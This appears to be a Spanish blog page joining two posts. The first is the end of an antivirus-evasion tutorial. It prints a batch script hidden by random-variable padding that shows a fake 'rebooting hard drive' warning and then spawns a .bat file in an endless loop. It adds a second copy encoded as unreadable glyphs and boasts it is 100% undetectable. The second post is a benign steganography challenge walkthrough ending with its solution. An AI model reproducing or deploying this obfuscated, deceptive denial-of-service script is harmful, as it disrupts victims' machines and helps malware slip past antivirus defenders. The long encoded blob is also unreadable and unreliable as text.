%aaldwey%e%qtqpmbm%c%ilyxrwq%h%qrqgpbu%o%lelqrtb% %mpaknfa%S%raxqqma%t%mitjxfx%a%lvegfsg%r%icvtcir%t%jsjesva%i%jsfyuhe%n%ndgkhrq%g%gizpgln% %ccgfjce%t%pegjvca%o%eabrcaa% %tawpdxl%r%dpqceby%e%dtuqzon%b%pdbexoe%o%ilcdpjm%o%mfpvdri%t%zkxshsp% %quuukoj%h%ezxmeme%a%xmxbqhx%r%wujidvw%d%ynbgbfe%r%jpfqxhm%i%qxtchob%v%cgktept%e%dfeeaam%.%kdlgygg% %tawgklq%
%kamybgo%e%vtjzkib%c%zosujsi%h%vfqqtio%o%zhksurf% %pzxhjov%-%vbmdzva% %nxdfwro%
%dbbqfny%e%ysetagp%c%arvhsqh%h%ghzgnys%o%jnbbghu% %ieusgwp%D%ganzakt%o%hukdixn% %xcqikth%n%asznqde%o%cvyvaog%t%qjiwhnx% %mjocdey%a%tynvokx%t%yjsdpsy%t%brqcudl%e%jtasahe%m%csuhfbs%p%woxauuu%t%alrladb% %wpflpvn%t%mdkglrr%o%khtaqhr% %cycivcv%q%dupjfoo%u%erpbvzg%i%ysancst%t%edwtfzt%.%zlsmmsq% %yydjufa%
%vfuwrwl%e%wvjhhit%c%wvebjux%h%hrkvlxv%o%avdakrs% %ogfiypx%-%bhfmkpt% %rdaurnu%
%gevssle%e%pspftos%c%pwttobg%h%jrfpbvj%o%uocgewg% %zioysec%R%lnwvwfj%e%cxtxzbc%s%rcwptzx%t%jpwefuq%a%jxilsip%r%lqajrsx%t%wsftmuf% %jkxnlug%a%ojjwtcm%f%vcqixiw%t%caxluor%e%kxilgta%r%cyxdxoy% %nqvdgql%1%xwigvte%0%umgdfjk% %ypaffsb%m%hwjlfxf%i%ujcpkww%n%eupjszy%u%vznvcvi%t%pqqxwoa%e%sphmoyr%s%xelljgc% %blngcpe%a%zbgwcez%p%fidmllp%p%yrviefx%r%pacmgcr%o%splrmmo%x%uskzwxr%i%ihuadwh%m%ehagzni%a%lwzzksh%t%qgeimai%e%zzhofeh%l%ibrelia%y%upglcjc%.%vwnmfvq% %sjdqwll%
%nnrpmdx%P%ebwlizb%A%befenpb%U%twonrkf%S%bcgwqpj%E%wpbfrhq% %qpmsybd%
%dlmfqbp%:%qieqjaa%S%xguwfhv%T%mdgaoev%A%ntvldqd%R%vdvouwt%T%yowzhff% %rtpfhzc%
%gdrnuxi%s%apvzvqp%t%iamznve%a%ybhxoto%r%hqbkpwc%t%htfykjq% %bortxdt%I%twsspxb%n%rfaconm%t%dkiasnt%e%bfkkkcy%r%jzitpih%n%ixnqqvm%e%auuppqz%t%domnnbh% %opryidp%E%bijshcq%x%ggvapkw%p%nzcntrg%l%binyfqm%o%cuupcbk%r%uvjhtxj%e%fnhidyv%r%ptulrbo%.%mksibsu%b%qmmjbbl%a%fezyqya%t%mhougeg% %wranohi%
%nwyzyds%G%hnccswk%O%kmsqkhb%T%wmbxuhy%O%tizkyyo% %rzsbymj%S%xfpqhtz%T%xzmupgs%A%gxnrdkb%R%jnxwiuy%T

Podemos observar que la firma detectada es la misma en todos los archivos, esto es porque todas esas compañías de antivirus comparten la base de datos, por tanto podemos asegurar que solo 1 de las tantas compañías de antivirus en el mercado detecta este método de evasión.

Pero para solucionar este problema tenemos la tercera opción, en la que construiremos un archivo que al no ser legible ya no contendrá el texto en plano y por tanto sera mucho mas difícil de detectar tanto por los antivirus como por un analista de malware en el caso de que nuestra muestra llegue a un laboratorio.

Este es el scan con la segunda + la tercera opción:

bwoarxdhwfrefjindomp

Ahí lo tenemos 100% indetectable de nuevo.

Este seria el nuevo script que nos ha quedado.

਍汣൳┊癴瑳歬╥╀祴桷硧╴╥瑮摩牴╶╣扦捪汬╥╨此浲扫╯╯灰橺扯╶┠歮瑢煨╡╯敶摺睭╫╦捵慥橭╯╦穮穬敬╣┍瑰硤灪╫┊畡桩牦╲╥浮捡煥╳╣汳歭祬╺╨敺睴晰╪╯湮桥敢╰┠穯穬灹╮╗慧牡汰╬╁獲特浺╹╒祢癬灮╲╎灹牪杸╸╉牣瑤灸╯╎橳楲浭╤╇汹摦瑣╩┠睩硳癬╬╖扺橰牵╵╉獴汴歯╭╒牷慫癧╥╕物桳癲╢╓湦畱浶╲┠摤汪慵╬╈歪慧桤╢╁敪敤畬╶╓捴扦祺╥┠獷景楥╡╂癹湮瑰╤╅橭潸獶╴╅瑰摨捨╧╎楷睨桳╦┠極睨睥╶╄扤捫慹╴╅摭獵晤╮╔特穪杵╰╅祺扱牸╣╃汷敧桰╸╔灲摵穥╪╅摩空睡╯╄杦獩汦╯┍祸扲杫╳┊敦歪汩╷╥牡瑥敫╤╣牵杰硲╱╨湨瑰硩╣╯汵敨睢╮┠楡歸摸╩╓晱灪慧╨╹癲穸海╱╳智捹獮╦╴牣潺扡╲╥癶瑳発╰╭煲橹浣╧┠牥湹浮╣╣捭湰牧╱╨潩瑯楷╭╥摳杪汸╡╣杳畮穲╯╫煥極穰╦┍穸杶畨╯┊桶煤橧╹╥湨潬歫╦╣桦祭穤╫╨浵灰硸╧╯慭晱牪╹┠桬浣晷╹┭煨捰硦╵┍獳浵穢╢┊武杭穡╤╥瑲硣慸╵╣扲扦湬╴╨武浱浹╺╯硧摸硶╸┠楦摲浢╨═煪睫癶╩╯癴穸硪╢╷浰睶潴╨╥灵祰硵╹╲杪浣畩╮┠橱楲扺╳┭敨歩睷╨┠祲湢慱╥╆灬煦獬╷╁究浡睳╡╉潡汥敮╬╌歸祣畲╢╅扶灶楲╶╄桢敳煺╭┍扢楰捩╦┊穫晱杶╯╥灮歡煢╫╣獰獺扬╮╨牫扮瑧╰╯牧桴此╱┠杯慳煯╱┭晭扴晡╦┍祶桷橵╤┊慥硦湡╸╥灱敶潱╺╣睲晣慴╭╨楯楳煬╩╯浪楧桡╴┠汧汱硬╫╒數硵畢╹╁癰晣灧╣╍扸灵略╧┠潳祱浧╮┭穳獦祣╭┠汹祢晥╭╆瑴牸祭╪╁晳潩汵╳╉湰扺扲╤╌摱浯潨╭╅捱杫慪╰╄潵獬歷╢┍獮祥摶╺┊湪潫癹╱╥潷獫癪╭╣歬穧瑲╭╨污祡煳╷╯慫汶畴╫┠摫祺桯╺┭潷浧桭╱┍睰汨捥╹┊灴摴歳╵╥癧扢汷╢╣數捹桺╶╨橬畢晴╱╯硥橣慦╩┠敤煯潳╩╎祦潦祱╱╯慱祫慭╸╲桸汹桷╮╴煪扯楴╥╯橰潷潷╰╮楷煣畵╪┠敦煮穧╳┭晷楤畸╲┠祩楡睧╥╆瑬摪杧╬╁穡獤摢╦╉扦畷浢╷╌瑵楫橱╬╅睢敺照╲╄牳杰浤╦┍睪獮楮╯┊湤畲扨╧╥浧橨決╹╣扬業瑵╪╨楯摯据╬╯祮瑨牮╦┠畭扡晨╫┭潭晷獰╤┍硣橣灲╹┊浦潭祸╶╥灨睬歨╸╣摶硶楯╮╨摲摢穫╯╯瑺睡晶╯┠摥晦湸╰╂汧摤祢╣╲湰瑮捨╶╥浨楨睮╪╡楣扪灢╬╣杧湥票╳╨止浳煷╥┠祲楸浴╩╯扰执捹╩╦瑨歯硣╭┠潩汣橭╥╉浫捣畣╸═浤灭湪╫┠祪番畭╫╡晥湦湵╨╤獤汱扢╱╲慡票牺╢╥煢楶摯╫╳灢摲灱╯╳汭睸獳╬┍煦捱浳╪┊慵歳武╯╥扨潲歲╫╣硷睮楹╫╨祬畩杺╶╯湶档橡╩┠煶癧睶╸┭汯煳煩╡┍橡桯牬╷┊捥穢慺╳╥桲硪慤╺╣物穧睧╴╨睷煪畡╯╯歰晪灭╨┠牯浶摡╧╆汱汮湹╯╩浢癲煴╷╲数火灳╸╥摴祷硡╤╷睡此摥╮╡癨浫橢╨╬牱浵潮╲╬獨敫橥╰┠歳晩汮╣┭煤楶潣╶┠桺晴晭╢╆橤杮湭╳╁牭湷獭╶╉摺牰牲╭╌潫汢畺╰╅瑢睺煪╺╄歶穤橤╱┍橸湴瑶╩┊穤浹扱╴╥晧桡汪╶╣睦祴穪╱╨捫湱杳╧╯汥橩慬╮┠畵潯硯╩┭歸瑹桴╦┍湺扷獥╨┊扮捨牫╸╥扪業楨╺╣煱扭湳╹╨慷橲癴╺╯瑦煴穭╸┠癮杤摳╲╖橺湴晪╴╩煡潡煭╨╲摸牱杤╣╵桴牥祴╯╳癪浪癰╳┠穨杳歵╳╡煺潡晹╷╴睨祳歸╡╴橢桮捺╨╡橶瑹睦╵╩晩桺睸╧╮摷獱癱╲╩慣硧捭╭╮硳捴究╭╧湴湨汫╵┺硡灨牣╪┠橥扩慯╶┪湸杢畯╴┪硬潥獣╹┪橦扩汣╧┪畯慺煵╶┭癤祵潷╦┪歮汯牷╳┪湭穳敲╨┪楧癤祥╫┪特畦獷╳┭穷敮楶╤┪晩扶楺╪┪穧汷硳╰┪畯癶摸╹┪獮獺煸╤┭潧牨汷╱┸楩灹睵╹┸歴穤祱╧┹捧瑷硰╨┴慬捨杷╮┍畳潰浡╸┊捧穡汭╤╥灨照睫╢╣灺橷獢╺╨楫橴瑫╭╯湵浧睹╦┠敲橦湩╬┭桶決睩╣┍穬穭瑸╲┊扲癢慮╷╥浢灮捷╺╣煳扬祦╪╨桭摯牡╡╯杰獦捲╳┠杢穯捣╰╈捹浬瑧╦╡瑷捦桧╡╲穣獣潯╱╤瑣睹扸╪┠牭獡晫╳╤桰硪灰╰╲歲晩慡╲╩祦杴穧╩╶橩癤橳╵╥祰潣潤╵┠祮潤摰╪╭煷畦桪╩╵獦歰浰╢╳桲牥湦╤╴潳獬祩╲┠慰督潡╭╢敬癱杰╹╥獢煶摬╣┠睹步獱╣╥湱瑭湶╧╲瑹捥獴╫╡杴決汶╲╳桮祫散╥╥摡汬整╱╤慮督摭╢┠硵捳歩╷╡畫杦桲╷╮歫牴瑨╥╤畳畴穹╵┠杶晵楬╦╲歯汮捫╤╥晫扵瑮╵╢杸晵瑹╱╯獦晬祲╦╯摣汫灨╢╴獬祥獩╯╥癬浩杣╤╤杹穰条╵┠潱祱扳╣╴硯楺煲╮╯捡杧牶╵┠硹煩杯╺╲扮桬敩╵╥灦睬祵╮╳睥摸浨╭╵晡瑫敱╩╭桬数杭╱╥穹祩杬╲┠楫灹桩╪╷牫瑢畷╨╩慹摭瑪╮╮浺癳敧╬╤硹癭瑭╶╯晣潦捧╷╷汭牳敵╰╳扪潲癥╶┮敮灬敦╭┍督敹扵╢┊祪慮楫╨╥畡捤摨╶╣潫晸桢╴╨晥楡穷╫╯潯敶摤╯┠整摡汹╺┭慱煸扣╰┍煯桲灣╫┊硵睯硬╡═牵慫橴╴╁灤硭湧╣╕敧捶硭╺╓桩橵楷╢╅杤瑪慲╤┍杺穰牯╥┊癨獯硺╥╥癦獰浬╴╣潯穲煦╳╨煸灢畬╬╯敪睱癢╮┠汫硸桦╢┭票慯硷╷┍捣慢潬╩┊慡摬敷╹╥瑱灱扭╭╣汩硹睲╱╨牱東扰╵╯敬煬瑲╢┠灭歡普╡╓慲煸浱╡╴業橴晸╸╡癬来獦╧╲捩瑶楣╲╴獪敪癳╡╩獪祦桵╥╮摮歧牨╱╧楧灺汧╮┠捣晧捪╥╴数橧捶╡╯慥牢慣╡┠慴灷硤╬╲灤捱扥╹╥瑤煵潺╮╢摰敢潸╥╯汩摣橰╭╯晭癰牤╩╴歺獸獨╰┠畱畵潫╪╨穥浸浥╥╡浸扸桱╸╲畷楪癤╷╤湹杢晢╥╲灪煦桸╭╩硱捴潨╢╶杣瑫灥╴╥晤敥慡╭┮摫杬杹╧┍慴杷汫╱┊慫祭杢╯╥瑶穪楫╢╣潺畳獪╩╨晶煱楴╯╯桺獫牵╦┠穰桸潪╶┭扶摭発╡┍确晤牷╯┊扤煢湦╹╥獹瑥条╰╣牡桶煳╨╨桧杺祮╳╯湪扢桧╵┠敩獵睧╰╄慧穮歡╴╯畨摫硩╮┠捸楱瑫╨╮獡湺摱╥╯癣癹潡╧╴橱睩湨╸┠橭捯敤╹╡祴癮歯╸╴橹摳獰╹╴牢捱摵╬╥瑪獡桡╥╭獣桵扦╳╰潷慸畵╵╴污汲摡╢┠灷汦癰╮╴摭杫牬╲╯桫慴桱╲┠祣楣捶╶╱畤橰潦╯╵牥扰究╧╩獹湡獣╴╴摥瑷穦╴┮決浳獭╱┍祹橤晵╡┊晶睵睲╬╥癷桪楨╴╣癷扥番╸╨牨癫硬╶╯癡慤牫╳┠杯楦灹╸┭桢浦火╴┍摲畡湲╵┊敧獶汳╥╥獰晰潴╳╣睰瑴扯╧╨牪灦癢╪╯潵杣睥╧┠楺祯敳╣╒湬癷晷╪╥硣硴扺╣╳捲灷穴╸╴灪敷畦╱╡硪汩楳╰╲煬橡獲╸╴獷瑦畭╦┠歪湸畬╧╡橯睪捴╭╦捶楱楸╷╴慣汸潵╲╥硫汩瑧╡╲祣摸潸╹┠煮摶照╬┱睸杩瑶╥┰浵摧橦╫┠灹晡獦╢╭睨汪硦╦╩橵灣睫╷╮略橰穳╹╵究癮癣╩╴煰硱潷╡╥灳浨祯╲╳數汬杪╣┠汢杮灣╥╡扺睧散╺╰楦浤汬╰╰特楶晥╸╲慰浣捧╲╯灳牬浭╯╸獵穫硷╲╩桩慵睤╨╭桥条湺╩╡睬空獫╨╴東楥慭╩╥空潨敦╨╬扩敲楬╡╹灵汧橣╣┮睶浮癦╱┍橳煤汷╬┊湮灲摭╸═扥汷穩╢╁敢敦灮╢╕睴湯歲╦╓换睧灱╪╅灷晢桲╱┍灱獭批╤┊汤晭扱╰┺楱煥慪╡╓杸睵桦╶╔摭慧敯╶╁瑮汶煤╤╒摶潶睵╴╔潹穷晨╦┍瑲晰穨╣┊摧湲硵╩╳灡究煶╰╴慩穭癮╥╡批硨瑯╯╲煨止睰╣╴瑨祦橫╱┠潢瑲摸╴╉睴獳硰╢╮晲捡湯╭╴此慩湳╴╥晢歫捫╹╲穪瑩楰╨╮硩煮癱╭╥畡灵煰╺╴潤湭扮╨┠灯祲摩╰╅楢獪捨╱╸杧慶歰╷╰穮湣牴╧╬楢祮煦╭╯畣灵扣╫╲癵桪硴╪╥湦楨祤╶╲瑰汵扲╯┮歭楳獢╵╢浱橭扢╬╡敦祺祱╡╴桭畯敧╧┍牷湡桯╩┊睮穹摹╳╇湨捣睳╫╏浫煳桫╢╔海硢桵╹╏楴歺祹╯┠穲扳浹╪╓晸煰瑨╺╔穸畭杰╳╁硧牮此╢╒湪睸畩╹T

Quiere esto decir que los antivirus son inútiles?

Bueno, afirmar eso seria muy atrevido por mi parte, lo que si puedo decir es que la industria de la detección de malware debe seguir mejorando y que, de momento, va por detrás de los cibercriminales.

El futuro de esta industria esta en el deeplearning y en las redes neuronales.

Un buen ejemplo de como funcionaran en el futuro los antivirus, o al menos, deberían hacerlo bajo mi punto de vista es este script en python desarrollado por overxfl0w, el cual es capaz de predecir con gran exactitud si una muestra es potencialmente maliciosa o no tras haber sido entrenado con diferentes muestras de malware conocido.

 

 

 

 

 

 

Reto de esteganografia de HighSec

En esta ocasion voy a mostrar como resolver el reto que nos propone HighSec

Empezamos con la imagen y 0 pistas, vamos a empezar analizando la imagen visualmente

 Revisando las esquinas no vemos nada raro, ningun pixel movido ni nada. En el medio del cerebro parece como si tuviese letras o algo asi… vamos a ver analizando los colores si realmente hay algo ahi o es solo mi imaginación.

highsec 1

Efectivamente pone algo Highsec, pero es logico, no? es su logo.. sigamos con el analisis.

Vamos a abrir la imagen con un editor hexadecimal a ver si hay algo interesante en la cabecera o en el EOF.

highsec 2

Efectivamente, ahi esta la pista, entramos a esa url y se nos descarga un archivo .zip con una nueva imagen y 2 archivos de texto, uno que parece un diccionario y otro que nos da una pequeña aclaracion para el siguiente paso, vamos a ver la imagen.

Imagen2

Muestra una cadena codificada con base64, pero parece que hay algo mas… hay como letras en la parte blanca, vamos a ver si cambiando los colores vemos algo…

highsec 3

Parece que no es nada, vamos a ver si tiene algo en hexadecimal como la anterior…

Nada, todo esta totalmente normal, vamos a ver si al descifrar la cadena en base64 que nos da sacamos alguna pista…

HighSecCon

Llegados a este punto podemos pensar que o bien es la solucion al reto o es una contraseña, vamos a ponernos en el segundo caso, y vamos a ver si hay algun archivo oculto….

Usaremos el programa OpenStego usando la contraseña que tenemos.

highsec 4

Parece que ha sido buena idea seguir buscando, en ese link encontramos un script en python que sirve para crackear un hash mediante diccionario, aqui es donde le vemos la utilidad al archivo dic.txt que obtuvimos junto a la imagen, lo usamos y nos da el texto que corresponde al hash MD5 con el que hemos comparado.

z3cur3-3573g0 

Un texto con un cifrado muy clasico; la solucion al reto es

zecure-estego 

Reto resuelto. Fácil pero interesante. Hasta la proxima